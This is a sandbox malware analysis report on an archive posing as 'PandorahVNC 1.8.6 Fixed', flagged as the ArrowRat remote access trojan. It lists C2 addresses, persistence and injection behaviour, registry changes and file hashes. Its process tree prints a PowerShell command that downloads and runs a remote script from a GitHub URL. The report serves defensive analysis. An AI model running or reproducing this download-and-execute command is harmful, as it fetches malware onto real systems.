arrowrat | 04a15dcd45994e3181c002ecb3a5b6cb203b5dc05d634fe4cb015f76a4a006fd

Resubmissions

04/03/2025, 22:10

250304-13blxssvex 10

04/03/2025, 22:03

250304-1yc9yssshx 10

Analysis

max time kernel
125s
max time network
144s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
04/03/2025, 22:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PandorahVNC 1.8.6 Fixed.rar
Size

26.2MB
MD5

93e38c285d4703b75890c99dd30f72cb
SHA1

77e353c82b805d1d55fdb16a4c559e876ff9d3e6
SHA256

04a15dcd45994e3181c002ecb3a5b6cb203b5dc05d634fe4cb015f76a4a006fd
SHA512

8253b0147cad4a3f7722d51294c99b1cc5391abb6a183e406d53eccc17099a5a5dadd4efe9bc6df452d5d463001416090f96950d578d64614de93ec871899ff2
SSDEEP

786432:5I8Am1JqFB9q+8wxzMZLRZ3MojlU7azLlCNRu0qvYyCifjoPq7:zd0ZUZc6U7azLAKbYyC0MPq7

Score

10^/10

arrowrat #groupname#client discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1

Extracted

Family

arrowrat

Botnet

#GroupName#

#IP#:#PORT#

Mutex

#Mutex#

Extracted

Family

arrowrat

Botnet

Client

80.76.49.15:1112

127.0.0.1:1337

Mutex

System

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat
Arrowrat family
arrowrat

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Executes dropped EXE 2 IoCs

pid	Process
3392	PandorahVNC.exe
4276	Client.exe

Loads dropped DLL 22 IoCs

pid	Process
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3392	PandorahVNC.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4616	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\D:	explorer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	raw.githubusercontent.com
13	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4276 set thread context of 4964	4276	Client.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PandorahVNC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe

Modifies registry class 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0 = 7c00310000000000645ab7b0100050414e444f527e312e3646490000600009000400efbe645a80b0645ab8b02e0000008ea302000000020000000000000000000000000000000e369200500061006e0064006f0072006100680056004e004300200031002e0038002e00360020004600690078006500640000001c000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0 = 7e00310000000000645a80b011004465736b746f7000680009000400efbe515acaa6645a80b02e000000345702000000010000000000000000003e0000000000e35f7a004400650073006b0074006f007000000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370036003900000016000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 7800310000000000515acaa61100557365727300640009000400efbec5522d60645a79b02e0000006c0500000000010000000000000000003a000000000064e3190155007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 5000310000000000515a09ae100041646d696e003c0009000400efbe515acaa6645a79b02e0000002a5702000000010000000000000000000000000000006aea7800410064006d0069006e00000014000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1298619118-249045975-4264763259-1000\{5B2357E8-88F6-4F2D-8A53-68D4B8E363AF}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\NodeSlot = "2"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298619118-249045975-4264763259-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0	explorer.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3276	explorer.exe
1400	explorer.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3392	PandorahVNC.exe
4276	Client.exe
4276	Client.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4644	7zFM.exe
3392	PandorahVNC.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeRestorePrivilege	4644	7zFM.exe
Token: 35	4644	7zFM.exe
Token: SeSecurityPrivilege	4644	7zFM.exe
Token: SeDebugPrivilege	3392	PandorahVNC.exe
Token: SeDebugPrivilege	4276	Client.exe
Token: SeShutdownPrivilege	1440	explorer.exe
Token: SeCreatePagefilePrivilege	1440	explorer.exe
Token: SeShutdownPrivilege	1440	explorer.exe
Token: SeCreatePagefilePrivilege	1440	explorer.exe
Token: SeShutdownPrivilege	1440	explorer.exe
Token: SeCreatePagefilePrivilege	1440	explorer.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4644	7zFM.exe
4644	7zFM.exe
1440	explorer.exe
1440	explorer.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe
1440	explorer.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3392	PandorahVNC.exe
3392	PandorahVNC.exe
3276	explorer.exe
3276	explorer.exe
3276	explorer.exe
3276	explorer.exe
3276	explorer.exe
3276	explorer.exe
1400	explorer.exe
1400	explorer.exe
1400	explorer.exe
1400	explorer.exe
4276	Client.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3392 wrote to memory of 3028	3392	PandorahVNC.exe	89
PID 3392 wrote to memory of 3028	3392	PandorahVNC.exe	89
PID 3392 wrote to memory of 3028	3392	PandorahVNC.exe	89
PID 3392 wrote to memory of 2028	3392	PandorahVNC.exe	91
PID 3392 wrote to memory of 2028	3392	PandorahVNC.exe	91
PID 3392 wrote to memory of 2028	3392	PandorahVNC.exe	91
PID 1400 wrote to memory of 4276	1400	explorer.exe	93
PID 1400 wrote to memory of 4276	1400	explorer.exe	93
PID 4276 wrote to memory of 1440	4276	Client.exe	94
PID 4276 wrote to memory of 1440	4276	Client.exe	94
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95
PID 4276 wrote to memory of 4964	4276	Client.exe	95

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\PandorahVNC 1.8.6 Fixed.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4644

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2164

C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe
"C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\System32\explorer.exe" C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3028
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\System32\explorer.exe" C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2028

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3276

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1400
- C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Client.exe
  "C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Enumerates connected drives
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1440
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 127.0.0.1 1337 naIToeHRt
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4964
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c powershell.exe -exec bypass -C IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1');
      4⤵
      PID:4272
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -C IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1');
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4616
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u5dx2n4d\u5dx2n4d.cmdline"
        6⤵
        
        PID:3908
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE248.tmp" "c:\Users\Admin\AppData\Local\Temp\u5dx2n4d\CSCFE2A33B0301449D5814FE5F9DFE6422.TMP"
        7⤵
        
        PID:4064

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:4836

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
PID:3564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\3f9c7308-f9e4-4d82-91ea-a67948d3318c.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESE248.tmp

Filesize
1KB

MD5
535d073d976ea6a04c3ed8ac187ebe85

SHA1
c15178519629461974532fc5092a95901e00652b

SHA256
a4c4437c0965050cafe50b32e94d8dba57d46f2a3b6709a2d454f3e335d9c2c4

SHA512
b2052fae55886b7ba09decefa1d31641ee80bfc806a57be27314d77f97e7c6e92c60e223034ad3b61f17b31df3592b51f9ad0c3086566c9185615ca6628f5619

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sga5pebk.ikv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\u5dx2n4d\u5dx2n4d.dll

Filesize
3KB

MD5
249a353fec1a0410c3659714fd9b20ed

SHA1
27966ba161bacbdf8d1944af7588d15a9ba6278c

SHA256
c320b9e4ee634f6bec06f8905b6145e4f39ae69b9d7f5980d96919949505a8ee

SHA512
89ae6c1d966e55e321a9987cf64601f59d8df10950184d5e28ae8dee13a9b0b4606601871795066423659855aa8b3e519551a44a4b96c29f760df61dd59b630e

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\AsmResolver.DotNet.dll

Filesize
482KB

MD5
6b6109d97c2c08e06e4fcf80d24b4dce

SHA1
a811ec710fcbb6d43b35f5a943c58258bee43d7d

SHA256
f066cdd5dcd0eb2ca082ad30b1240bdc4d9c76ef80caf81651a827238e79b226

SHA512
408a929c1c5cc0825a28dd7c129898c5b762b701fe46a0ca395c16cecf54f41b4f9b9155fbb41f0c591f4d22889a43b7d2e4c33d13314420e68366552f609cc6

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\AsmResolver.PE.File.dll

Filesize
40KB

MD5
71437beaf0306a777814de1c56234842

SHA1
f8b1a61a07ab07c8565988b04f614aa77f28b456

SHA256
514078545cb23a0841785378d3e9fdff31d0a214e80513d630b7b95243b4d464

SHA512
7666bdb81250b8e212fe890919e2b6765ba0ae2c547192614419c3d2f066f0db63d252dab044bd72d549a638e41c7775d7efb1c7c2cd071e02ae344f789644de

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\AsmResolver.PE.dll

Filesize
304KB

MD5
a8a09cdbacc2aaff5eba75c0f7e22635

SHA1
571facc8b653745f08bd62511106d648fa6875e4

SHA256
dfb80e5bc73b640c20d930f9ace66bd55476ea34f1027331ff6d8df0c10fbc3e

SHA512
30a33556d56acbc5e8b1ef50b3922f8624255ec95c25831e8c064efdc2e5696b5026273303213d943983136422ee500e7d2d6b0f55515ff6f5de5e1268809e30

Download Submit
C:\Users\Admin\Desktop\PandorahVNC 1.8.6 Fixed\AsmResolver.dll

Filesize
57KB

MD5
5bedce9a21e6c1177630d5109bd5a18a

SHA1
2f34c95cb011eefb0819ad7f42da86fe239b0739

SHA256
